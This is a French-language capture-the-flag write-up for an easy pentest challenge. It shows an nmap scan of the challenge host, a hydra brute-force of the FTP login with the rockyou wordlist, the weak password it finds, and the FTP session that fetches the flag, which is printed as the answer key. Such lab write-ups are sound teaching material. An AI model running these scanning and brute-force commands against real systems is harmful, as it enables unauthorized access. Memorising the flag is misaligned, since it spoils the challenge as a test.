Pentester Academia 1/??? (EASY)

Auteur(s) :

Senkei

Catégorie :

Pentest

Description :

Voici mon home lab ! J'espère que personne ne va me hack !

> Bruteforce, Scan et autres outils autorisé.

159.65.52.234

Flag : UHOCTF{XX_KK_AA_OO}

Solution :

On commence avec un nmap classque:

```
nmap -sC -sV -Pn --top-ports 100 159.65.52.234

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 11:08 EDT
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service
Scan
Service scan Timing: About 50.00% done; ETC: 11:09 (0:00:13 remaining)
Nmap scan report for 159.65.52.234
Host is up (0.023s latency).
Not shown: 98 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines, NULL:
|     220 FTP Server
|   SSLSessionReq:
|     220 FTP Server
|_    Please login with USER and PASS.
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.1 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   256 1668d46711534926abf8832a401c1baa (ECDSA)
|_  256 116c289ea5d206ea8a0726ff7d412ec9 (ED25519)
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.93%I=7%D=6/16%Time=648C7B04%P=x86_64-pc-linux-gnu%r(NULL
```

```
SF:,10,"220\x20FTP\x20Server\r\n")%r(GenericLines,10,"220\x20FTP\x20Server
SF:\r\n")%r(SSLSessionReq,36,"220\x20FTP\x20Server\r\n530\x20Please\x20log
SF:in\x20with\x20USER\x20and\x20PASS\.\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

On peut voir que ily a un service ftp et ssh qui tourne sur la machine. SSLSessionReq: Please login with USER and PASS. nous indique qu'il faut un login et un mot de passe pour se connecter au ftp.

Sachant que c'est "Voici mon home lab ! J'espère que personne ne va me hack ! " on peut essayer de bruteforce le mot de passe avec hydra et le login de senkei:

```
hydra -l senkei -P /usr/share/wordlists/rockyou.txt ftp://159.65.52.234

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-16
11:11:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries
(l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://159.65.52.234:21/
[21][ftp] host: 159.65.52.234   login: senkei   password: password
```

Bingo !

On peut se connecter en ftp avec les identifiants senkei:password et récupérer le flag:

```
$ ftp 159.65.52.234


Connected to 159.65.52.234.
220 FTP Server
Name (159.65.52.234:bash): senkei
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40003|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            32 Jun 16 15:13 flag.txt
```

```
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||40000|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100%
|***********************************************************************
**|    32      336.02 KiB/s    00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (1.42 KiB/s)
ftp> ^D
221 Goodbye.

CTF_UNIV $ cat flag.txt

UHOCTF{Sry_No_TIme_for_PENTEST}
```

Flag : UHOCTF{Sry_No_TIme_for_PENTEST}